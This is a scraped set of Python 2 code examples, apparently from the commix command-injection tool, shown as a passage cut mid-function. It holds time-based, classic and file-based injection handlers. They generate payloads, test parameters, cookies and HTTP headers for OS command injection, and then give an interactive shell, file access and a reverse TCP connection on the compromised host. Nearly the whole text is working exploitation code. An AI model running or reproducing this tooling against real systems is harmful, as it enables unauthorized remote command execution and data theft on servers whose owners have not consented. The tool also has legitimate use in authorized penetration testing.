                                            separator, TAG, cmd, prefix,
                                            suffix, delay, http_request_method,
                                            url, vuln_parameter, randvcalc,
                                            alter_shell, how_long,
                                            url_time_response)

                                        if (url_time_response == 0 and (how_long - delay) >= 0) or \
                                           (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                                           (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                                            if str(output) == str(
                                                    randvcalc) and len(
                                                        TAG) == output_length:
                                                is_vulnerable = True
                                                how_long_statistic = 0
                                                if not menu.options.verbose:
                                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                                else:
                                                    percent = ""
                                        else:
                                            break
                                    # False positive
                                    else:
                                        if not menu.options.verbose:
                                            percent = str(float_percent) + "%"
                                            sys.stdout.write(
                                                "\r" + settings.INFO_SIGN +
                                                "Testing the " + technique +
                                                "... " + "[ " + percent + " ]")
                                            sys.stdout.flush()
                                        continue
                                else:
                                    if not menu.options.verbose:
                                        percent = str(float_percent) + "%"
                                        sys.stdout.write("\r" +
                                                         settings.INFO_SIGN +
                                                         "Testing the " +
                                                         technique + "... " +
                                                         "[ " + percent + " ]")
                                        sys.stdout.flush()
                                    continue
                            if not menu.options.verbose:
                                sys.stdout.write("\r" + settings.INFO_SIGN +
                                                 "Testing the " + technique +
                                                 "... " + "[ " + percent +
                                                 " ]")
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            break
                        break

                # Yaw, got shellz!
                # Do some magic tricks!
                if (url_time_response == 0 and (how_long - delay) >= 0) or \
                   (url_time_response != 0 and (how_long - delay) == 0 and (how_long == delay)) or \
                   (url_time_response != 0 and (how_long - delay) > 0 and (how_long >= delay + 1)) :

                    if (len(TAG) == output_length) and \
                       (is_vulnerable == True or settings.LOAD_SESSION and is_vulnerable == "True"):

                        found = True
                        no_result = False

                        if settings.LOAD_SESSION:
                            is_vulnerable = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " Cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " HTTP header"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, http_request_method,
                                vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        print Style.BRIGHT + "(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                        print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                        print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                        ) + Style.RESET_ALL + ""
                        print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                            "%20", " ", payload.replace(
                                "\n", "\\n")) + Style.RESET_ALL

                        if not settings.LOAD_SESSION:
                            shell = ""
                            session_handler.injection_point_importation(
                                url, technique, injection_type, separator,
                                shell, vuln_parameter, prefix, suffix, TAG,
                                alter_shell, payload, http_request_method,
                                url_time_response, delay, how_long,
                                output_length, is_vulnerable)
                            is_vulnerable = False
                        else:
                            settings.LOAD_SESSION = False

                        new_line = False
                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                enumerate_again = raw_input(
                                    "\n" + settings.QUESTION_SIGN +
                                    "Do you want to enumerate again? [Y/n/q] > "
                                ).lower()
                                if enumerate_again in settings.CHOICE_YES:
                                    tb_enumeration.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, delay, http_request_method,
                                        url, vuln_parameter, alter_shell,
                                        filename, url_time_response)
                                    print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = True
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            if menu.enumeration_options():
                                tb_enumeration.do_check(
                                    separator, maxlen, TAG, cmd, prefix,
                                    suffix, delay, http_request_method, url,
                                    vuln_parameter, alter_shell, filename,
                                    url_time_response)
                                print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            while True:
                                file_access_again = raw_input(
                                    settings.QUESTION_SIGN +
                                    "Do you want to access files again? [Y/n/q] > "
                                ).lower()
                                if file_access_again in settings.CHOICE_YES:
                                    tb_file_access.do_check(
                                        separator, maxlen, TAG, cmd, prefix,
                                        suffix, delay, http_request_method,
                                        url, vuln_parameter, alter_shell,
                                        filename, url_time_response)
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    if not new_line:
                                        new_line = True
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    print Back.RED + settings.ERROR_SIGN + "'" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                    pass
                        else:
                            # if not menu.enumeration_options() and not menu.options.os_cmd:
                            #   print ""
                            tb_file_access.do_check(separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename,
                                                    url_time_response)

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            cmd = menu.options.os_cmd
                            check_how_long, output = tb_enumeration.single_os_cmd_exec(
                                separator, maxlen, TAG, cmd, prefix, suffix,
                                delay, http_request_method, url,
                                vuln_parameter, alter_shell, filename,
                                url_time_response)
                            # Export injection result
                            tb_injector.export_injection_results(
                                cmd, separator, output, check_how_long)
                            sys.exit(0)

                        if not new_line:
                            print ""

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            gotshell = raw_input(
                                settings.QUESTION_SIGN +
                                "Do you want a Pseudo-Terminal? [Y/n/q] > "
                            ).lower()
                            if gotshell in settings.CHOICE_YES:
                                print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            os_shell_option = checks.check_os_shell_options(
                                                cmd.lower(), technique,
                                                go_back, no_result)
                                            if os_shell_option == False:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                            elif os_shell_option == "quit":
                                                sys.exit(0)
                                            elif os_shell_option == "back":
                                                go_back = True
                                                break
                                            elif os_shell_option == "os_shell":
                                                print Fore.YELLOW + settings.WARNING_SIGN + "You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                            elif os_shell_option == "reverse_tcp":
                                                settings.REVERSE_TCP = True
                                                # Set up LHOST / LPORT for The reverse TCP connection.
                                                reverse_tcp.configure_reverse_tcp(
                                                )
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                while True:
                                                    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                                                        result = checks.check_reverse_tcp_options(
                                                            settings.LHOST)
                                                    else:
                                                        cmd = reverse_tcp.reverse_tcp_options(
                                                        )
                                                        result = checks.check_reverse_tcp_options(
                                                            cmd)
                                                    if result != None:
                                                        if result == 0:
                                                            return False
                                                        elif result == 1 or result == 2:
                                                            go_back_again = True
                                                            settings.REVERSE_TCP = False
                                                            break
                                                    # Command execution results.
                                                    from src.core.injections.results_based.techniques.classic import cb_injector
                                                    separator = checks.time_based_separators(
                                                        separator,
                                                        http_request_method)
                                                    whitespace = settings.WHITESPACES[
                                                        0]
                                                    response = cb_injector.injection(
                                                        separator, TAG, cmd,
                                                        prefix, suffix,
                                                        whitespace,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename)
                                                    # Evaluate injection results.
                                                    shell = cb_injector.injection_results(
                                                        response, TAG)
                                                    # Export injection result
                                                    if menu.options.verbose:
                                                        print ""
                                                    print Back.RED + settings.ERROR_SIGN + "The reverse TCP connection has been failed!" + Style.RESET_ALL
                                            else:
                                                pass

                                        else:
                                            print ""
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # The main command injection exploitation.
                                                check_how_long, output = tb_injector.injection(
                                                    separator, maxlen, TAG,
                                                    cmd, prefix, suffix, delay,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename,
                                                    url_time_response)
                                                # Export injection result
                                                tb_injector.export_injection_results(
                                                    cmd, separator, output,
                                                    check_how_long)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, output,
                                                        vuln_parameter)
                                            else:
                                                output = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                                print Fore.GREEN + Style.BRIGHT + output + Style.RESET_ALL

                                            print ""
                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                print Back.RED + settings.ERROR_SIGN + "'" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass
                            #break

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
示例#7
0
def cb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    is_encoded = False
    export_injection_info = False
    injection_type = "results-based OS command injection"
    technique = "classic command injection technique"

    if not settings.LOAD_SESSION:
        info_msg = "Testing the " + "(" + injection_type.split(
            " ")[0] + ") " + technique + "... "
        sys.stdout.write(settings.print_info_msg(info_msg))
        sys.stdout.flush()
        if settings.VERBOSITY_LEVEL >= 1:
            print ""

    i = 0
    # Calculate all possible combinations
    total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(
        settings.SEPARATORS) * len(settings.SUFFIXES)
    for whitespace in settings.WHITESPACE:
        for prefix in settings.PREFIXES:
            for suffix in settings.SUFFIXES:
                for separator in settings.SEPARATORS:
                    # Check injection state
                    settings.DETECTION_PHASE = True
                    settings.EXPLOITATION_PHASE = False
                    # If a previous session is available.
                    if settings.LOAD_SESSION and session_handler.notification(
                            url, technique, injection_type):
                        url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(
                            url, http_request_method)
                        checks.check_for_stored_tamper(payload)

                    else:
                        i = i + 1
                        # Check for bad combination of prefix and separator
                        combination = prefix + separator
                        if combination in settings.JUNK_COMBINATION:
                            prefix = ""

                        # Change TAG on every request to prevent false-positive results.
                        TAG = ''.join(
                            random.choice(string.ascii_uppercase)
                            for i in range(6))

                        randv1 = random.randrange(100)
                        randv2 = random.randrange(100)
                        randvcalc = randv1 + randv2

                        # Define alter shell
                        alter_shell = menu.options.alter_shell

                        try:
                            if alter_shell:
                                # Classic -alter shell- decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision_alter_shell(
                                    separator, TAG, randv1, randv2)
                            else:
                                # Classic decision payload (check if host is vulnerable).
                                payload = cb_payloads.decision(
                                    separator, TAG, randv1, randv2)

                            # Define prefixes & suffixes
                            payload = parameters.prefixes(payload, prefix)
                            payload = parameters.suffixes(payload, suffix)

                            # Whitespace fixation
                            payload = re.sub(" ", whitespace, payload)

                            # Check for base64 / hex encoding
                            payload = checks.perform_payload_encoding(payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL == 1:
                                print settings.print_payload(payload)
                            elif settings.VERBOSITY_LEVEL > 1:
                                info_msg = "Generating a payload for injection..."
                                print settings.print_info_msg(info_msg)
                                print settings.print_payload(payload)

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = cb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = cb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = cb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = cb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                # Check if target host is vulnerable.
                                response, vuln_parameter = cb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, delay)
                            # Evaluate test results.
                            shell = cb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not settings.VERBOSITY_LEVEL >= 1:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + "(" + injection_type.split(
                                        " "
                                    )[0] + ") " + technique + "... " + "[ " + float_percent + "%" + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if float(float_percent) >= 99.9:
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"
                                info_msg = "Testing the " + "(" + injection_type.split(
                                    " "
                                )[0] + ") " + technique + "... " + "[ " + percent + " ]"
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False
                        # Check injection state
                        settings.DETECTION_PHASE = False
                        settings.EXPLOITATION_PHASE = True
                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        success_msg = "The"
                        if found_vuln_parameter == " ":
                            success_msg += http_request_method + ""
                        success_msg += the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print settings.print_success_msg(success_msg)
                        print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
                            "%20", " ", re.sub("%2B", "+",
                                               payload)) + Style.RESET_ALL
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                delay=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        new_line = True
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to enumerate again? [Y/n] > "
                                    enumerate_again = raw_input(
                                        "\n" + settings.print_question_msg(
                                            question_msg)).lower()
                                else:
                                    enumerate_again = ""
                                if len(enumerate_again) == 0:
                                    enumerate_again = "y"
                                if enumerate_again in settings.CHOICE_YES:
                                    cb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    #print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    new_line = False
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.enumeration_options():
                                cb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd and new_line:
                            print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print ""
                            while True:
                                if not menu.options.batch:
                                    question_msg = "Do you want to access files again? [Y/n] > "
                                    sys.stdout.write(
                                        settings.print_question_msg(
                                            question_msg))
                                    file_access_again = sys.stdin.readline(
                                    ).replace("\n", "").lower()
                                else:
                                    file_access_again = ""
                                if len(file_access_again) == 0:
                                    file_access_again = "y"
                                if file_access_again in settings.CHOICE_YES:
                                    cb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    print ""
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.file_access_options():
                                if not menu.enumeration_options():
                                    print ""
                                cb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)
                                print ""

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            if not menu.file_access_options():
                                print ""
                            cb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, delay)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            # if settings.ENUMERATION_DONE == False and settings.FILE_ACCESS_DONE == False:
                            #   if settings.VERBOSITY_LEVEL >= 1:
                            #     print ""
                            if not menu.options.batch:
                                question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                gotshell = sys.stdin.readline().replace(
                                    "\n", "").lower()
                            else:
                                gotshell = ""
                            if len(gotshell) == 0:
                                gotshell = "y"
                            if gotshell in settings.CHOICE_YES:
                                if not menu.options.batch:
                                    print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        if not readline_error:
                                            # Tab compliter
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            go_back, go_back_again = shell_options.check_option(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename, technique, go_back,
                                                no_result, delay,
                                                go_back_again)
                                            if go_back and go_back_again == False:
                                                break
                                            if go_back and go_back_again:
                                                return True
                                        else:
                                            # Command execution results.
                                            response = cb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, delay)
                                            if menu.options.ignore_session or \
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                try:
                                                    shell = cb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    shell = "".join(
                                                        str(p) for p in shell)
                                                except:
                                                    print ""
                                                    continue
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)
                                            if shell:
                                                html_parser = HTMLParser.HTMLParser(
                                                )
                                                shell = html_parser.unescape(
                                                    shell)
                                                # Update logs with executed cmds and execution results.
                                                logs.executed_command(
                                                    filename, cmd, shell)
                                            if shell != "":
                                                if settings.VERBOSITY_LEVEL == 1:
                                                    print ""
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                if settings.VERBOSITY_LEVEL >= 1:
                                                    print ""
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print settings.print_critical_msg(
                                                    err_msg) + "\n"

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass

    if no_result == True:
        print ""
        return False
    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
示例#8
0
def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response):
  shell = False
  counter = 1
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded = False
  stop_injection = False
  call_tmp_based = False
  next_attack_vector = False
  export_injection_info = False
  injection_type = "semi-blind command injection"
  technique = "file-based command injection technique"

  tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)

  if not settings.LOAD_SESSION or settings.RETEST == True: 
    TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
    info_msg = "Trying to create a file in '" + settings.WEB_ROOT 
    info_msg += "' for command execution results... "
    print settings.print_info_msg(info_msg)

  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:

          # Check injection state
          settings.DETECTION_PHASE = True
          settings.EXPLOITATION_PHASE = False
          # If a previous session is available.
          if settings.LOAD_SESSION:
            try:
              settings.FILE_BASED_STATE = True
              url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
              checks.check_for_stored_tamper(payload)
              OUTPUT_TEXTFILE = TAG + ".txt"
              session_handler.notification(url, technique, injection_type)
              if technique == "tempfile-based injection technique":
                #settings.LOAD_SESSION = True
                tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response)
            except TypeError:
              err_msg = "An error occurred while accessing session file ('"
              err_msg += settings.SESSION_FILE + "'). "
              err_msg += "Use the '--flush-session' option."
              print settings.print_critical_msg(err_msg)
              raise SystemExit()

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, timesec, filename, http_request_method)
   
          if not settings.LOAD_SESSION:
            i = i + 1
            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = TAG + ".txt"    
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            try:
              # File-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
              else:
                payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                      
              # Check if defined "--prefix" option.
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = payload.replace(" ", whitespace)

              # Perform payload modification
              payload = checks.perform_payload_modification(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL == 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)
              # Check if defined "--verbose" option.
              elif settings.VERBOSITY_LEVEL > 1:
                info_msg = "Generating a payload for injection..."
                print settings.print_info_msg(info_msg)
                print settings.print_payload(payload) 

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie header injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent HTTP Header Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent HTTP header injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)          

              # Referer HTTP Header Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to Referer HTTP header injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = fb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Host HTTP Header Injection
              elif settings.HOST_INJECTION == True:
                # Check if target host is vulnerable to Host HTTP header injection.
                vuln_parameter = parameters.specify_host_parameter(menu.options.host)
                response = fb_injector.host_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom HTTP header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

              # Find the directory.
              output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec)
              time.sleep(timesec)
              
              try:

                # Check if defined extra headers.
                request = urllib2.Request(output)
                headers.do_check(request)

                # Evaluate test results.
                output = urllib2.urlopen(request)
                html_data = output.read()
                shell = re.findall(r"" + TAG + "", html_data)

                if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
